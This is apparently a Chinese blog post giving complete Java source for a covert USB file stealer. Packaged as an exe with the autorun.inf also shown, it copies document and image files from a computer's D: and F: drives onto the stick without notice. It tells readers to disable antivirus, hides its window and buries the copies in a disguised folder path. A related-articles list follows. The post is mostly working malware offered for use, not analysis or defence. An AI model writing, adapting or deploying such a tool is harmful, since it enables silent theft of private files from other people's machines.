U盘copy电脑上的文件(基于java实现)
2019-06-04 16:57
120 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_40568566/article/details/90774610
U盘copy电脑上的文件(基于java实现)
通过以下四个java类(记得改包名) ,生成exe程序,再加上自运行inf文件,实现u盘插入电脑时即可自动copy D盘,F盘文件(前提是关闭360等杀毒软件!)
USBMain类,程序主入口
package AutoCopy; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; public class USBMain { //界面 private void launchFrame(){ final JFrame frame = new JFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLocation(450,250); JButton hide = new JButton("点击隐藏窗口"); //点击按钮后隐藏窗口事件 hide.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { frame.setVisible(false); } }); frame.add(hide); frame.pack(); frame.setVisible(true); } public static void main(String[] args) throws InterruptedException, IOException { USBMain u = new USBMain(); //u.launchFrame(); //开启盘符检查线程 new CheckRootThread().start(); Thread.sleep(60000); System.exit(0); } }
CopyThread类
package AutoCopy; import java.io.File; public class CopyThread extends Thread { /** * 用于遍历文件并指定文件格式复制 */ //设置要复制的文件类型,如果要复制所有的文件,将fileTypes设置为null即可 private static String[] fileTypes = {"doc", "docx", "txt","jpg","png","xls"}; //private static String[] fileTypes = null; File file = null; public CopyThread(File file) { this.file = file; } public void run(){ listUsbFiles(file); } //遍历盘符文件,并匹配文件复制 private void listUsbFiles(File ufile) { //File[] files = ufile.listFiles(); //String[] str = ufile.list(); // for (String s : str) { if (ufile != null) { if (ufile.isDirectory()) { File[] file = ufile.listFiles(); if (file != null) { for (int i = 0; i < file.length; i++) { listUsbFiles(file[i]); } } } else { if (fileTypeMatch(ufile)) { new CopyFileToSysRoot(ufile).doCopy(); } } } // } // for (File f : files) { //// if (f.isDirectory()) { //// listUsbFiles(f); //// } else { // if (fileTypeMatch(f)) { // new CopyFileToSysRoot(f).doCopy(); // } // } //// } } //匹配要复制的文件类型 public boolean fileTypeMatch(File f) { if (fileTypes == null) { return true; } else { for (String type : fileTypes) { if (f.getName().endsWith("." + type)) { return true; } } } return false; } }
CopyFileToSysRoot类
package AutoCopy; import javax.swing.filechooser.FileSystemView; import java.io.*; import java.nio.file.FileSystems; import java.nio.file.Files; import java.nio.file.Path; public class CopyFileToSysRoot { /** * 实现文件复制,可以指定路径,甚至可以发邮件 */ //复制文件保存路径,要改 //获得U盘盘符 public String PATH; public String findURootPath(){ FileSystemView sys = FileSystemView.getFileSystemView(); //循环盘符 File[] files = File.listRoots(); for(File file:files){ //得到系统中存在的C:\,D:\,E:\,F:\,H:\ //System.out.println("系统中存在的"+file.getPath()); } File file = null; String path = null; for(int i = 0; i < files.length; i++) { //得到文字命名形式的盘符系统 (C:)、软件 (D:)、公司文档 (E:)、测试U盘 (H:) //System.out.println("得到文字命名形式的盘符"+sys.getSystemDisplayName(files[i])); if(sys.getSystemDisplayName(files[i]).contains("PANAMERA")){ file = files[i]; break; } } if(file!=null){ path = file.getPath(); } return path; } //private static final String PATH = "PANAMERA([D|E|G|K|L|M|N|O|P|F|Q]):\\USB"; private File file = null; public CopyFileToSysRoot(File file) { this.file = file; } //复制文件 public void doCopy(){ BufferedInputStream bis = null; BufferedOutputStream bos = null; try { //创建目录 File fPath = new File(getFileParent(file)); if (!fPath.exists()) { fPath.mkdirs(); // String string=" attrib +H "+fPath.getAbsolutePath(); //设置文件属性为隐藏 // Runtime.getRuntime().exec(string); // Path path = FileSystems.getDefault().getPath("/j", "sa"); // Files.setAttribute(path, "dos:hidden", true); } bis = new BufferedInputStream(new FileInputStream(file)); bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,file.getName()))); byte[] buf = new byte[1024]; int len = 0; while ((len = bis.read(buf)) != -1) { bos.write(buf, 0, len); bos.flush(); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e1) { e1.printStackTrace(); } finally { try { if (bis != null) { bis.close(); } } catch (IOException e) { e.printStackTrace(); } try { if (bos != null) { bos.close(); } } catch (IOException e) { e.printStackTrace(); } } } //根据盘符中文件的路径,创建复制文件的文件路径 public String getFileParent(File file) throws IOException { String path = this.findURootPath(); PATH = path+"\\I'm fine\\true\\really\\USB"; StringBuilder sb = new StringBuilder(file.getParent()); int i = sb.indexOf(File.separator); sb.replace(0, i, PATH); // String string=" attrib +H "+file.getAbsolutePath(); //设置文件属性为隐藏 // Runtime.getRuntime().exec(string); return sb.toString(); } public String getPATH() { return PATH; } }
CheckRootThread类
package AutoCopy; import java.io.File; public class CheckRootThread extends Thread{ /** * 此类用于检查新盘符的出现,并触发新盘符文件的拷贝 */ //获得系统盘符 public File[] sysRoot = File.listRoots(); public void run(){ File[] currentRoot = null; // while (true) { // //当前的系统盘 // currentRoot = File.listRoots(); // for (int i = 0; i < currentRoot.length; i++) { // System.out.println(currentRoot[i]); // } // if (currentRoot.length > sysRoot.length) { // for (int i = currentRoot.length-1; i >= 0; i--) { // boolean isNewRoot = true; // for (int j = sysRoot.length-1; j >=0; j--) { // //当两者盘符不同时,触发新盘符对系统盘的文件拷贝 // if (currentRoot[i].equals(sysRoot[j])) { // isNewRoot = false; // } // } // if (isNewRoot) { // //这地方要改 // System.err.println(currentRoot[i]); // new CopyThread(currentRoot[i]).start(); // // } // // } // } // //new CopyThread(currentRoot[1]).start(); // sysRoot = File.listRoots(); // //每5秒时间检查一次系统盘符,貌似也要改 // try { // Thread.sleep(5000); // } catch (InterruptedException e) { // e.printStackTrace(); // } // } String fileName = "D:"+File.separator; File f = new File(fileName); new CopyThread(f).start(); String fileName2 = "D:"+File.separator; File f1 = new File(fileName2); new CopyThread(f1).start(); String fileName1 = "F:"+File.separator; File f2 = new File(fileName1); new CopyThread(f2).start(); } }网上下载exe4j软件,用于将java代码转换成exe程序,放在u盘里,详情参考:
在u盘里增加autorun.inf文件,假如要自动运行的文件名为setup.exe,放在盘的根目录下:
autorun.inf内容:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
如果不在根目录下,如在X:???下,可作相应更改:
[AutoRun]
OPEN=X:???\setup.exe
shellexecute=X:???\setup.exe
shell\Auto\command=X:???\setup.exe详情参考,autorun.inf文件操作手册
相关文章推荐
- JAVA WEB开发之基于xml配置文件的分页实现(一) 分页配置原理
- Java中实现复制文件或文件夹——CopyUtil.java
- java实现文件压缩并加密-基于zip4j
- 用java实现一个单线程基于控制台和以文件为数据存储并加上一点MVC思想的ATM
- 基于rsync同步算法的文件同步系统JAVA实现(三)——校验码哈希表的建立
- Java网络编程实践和总结 --- 基于TCP的Socket编程之实现文件上传和下载服务
- 基于HTML5+js+Java实现单文件文件上传到服务器功能
- Java IO流简单实现Copy文件
- 基于rsync同步算法的文件同步系统JAVA实现(一)——项目介绍
- Java:基于ORM技术的配置文件持久化实现
- 基于html5+java实现大文件上传实例代码
- 用java实现基于http协议的网络文件下载
- Java代码实现两台电脑之间传文件(2)
- 基于Java文件输入输出流实现文件上传下载功能
- 基于java一个简单的将jsp界面数据以excel文件导出方法的实现
- Java实现的文件Copy例子
- 设计一程序(Copy.java),可以实现文件的复制操作
- 基于rsync同步算法的文件同步系统JAVA实现(二)——校验码的生成
- 基于rsync同步算法的文件同步系统JAVA实现(四)——分析并发送不匹配数据块
- PostgreSQL:Java使用CopyManager实现客户端文件COPY导入